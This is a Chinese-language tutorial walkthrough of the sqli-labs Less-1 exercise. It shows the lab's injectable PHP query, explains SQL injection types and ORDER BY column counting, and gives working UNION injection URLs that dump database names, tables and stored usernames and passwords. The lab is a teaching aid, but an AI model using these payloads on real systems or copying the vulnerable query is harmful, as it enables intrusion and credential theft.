Less1 核心代码
- 在用户表中查询一条用户信息,在页面中显示这条信息的用户名密码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysqli_error($con));
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
- 具体后台mysql中操作的结果是
首先我们要判断是否是sql注入,我们用单引号去尝试
得到的有价值的信息
- 出现报错一定有数据库注入
- 数据库为myql
- LIMIT 0,1 后台只查询一条内容(比较重要的信息)
在做测试之前要科普下数据库注入的几种类型
- union注入(联合查询)
- 基于错误的注入
- 时间注入
- 布尔注入
- 内联查询
- 栈查询
其中盲注又分为
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注
sqlmap 中对于注入的分类
测试开始
首先我们要用最常见的union 注入去尝试
关于union注入介绍
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
SQL UNION 语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
- 具体的例子
上文说过(如何判断前面的select 查询有几列呢? order by 介绍)
union内部的SELECT 语句必须拥有相同的列
order by 是对查询的列进行排序
语法
SELECT field1, field2,...fieldN table_name1, table_name2...
ORDER BY field1, [field2...] [ASC [DESC]]
order by 有一个特性,就是后面可以不跟排序的字段,直接跟数字,如果数字超过查询的列就会报错,
当为3的时候正常,当为4时候报错(得到结果查询的列为3)
在正式测试之前还介绍几个知识 group_concat
正式开始
- 猜测数据库
select schema_name from information_schema.schemata
- 猜测数据库中的数据表
select table_name from information_schema.tables where table_schema='XXXX'
- 猜测表的所有列
select column_name from information_schema.columns where table_name='xxxx'
- 获取某列的内容
select xxx from xxxxx
LESS1 中的 POC
查看数据库
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23
查看表
http://127.0.0.1/sqli-labs/Less-1/?id=-1 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查看列
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查看数据
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23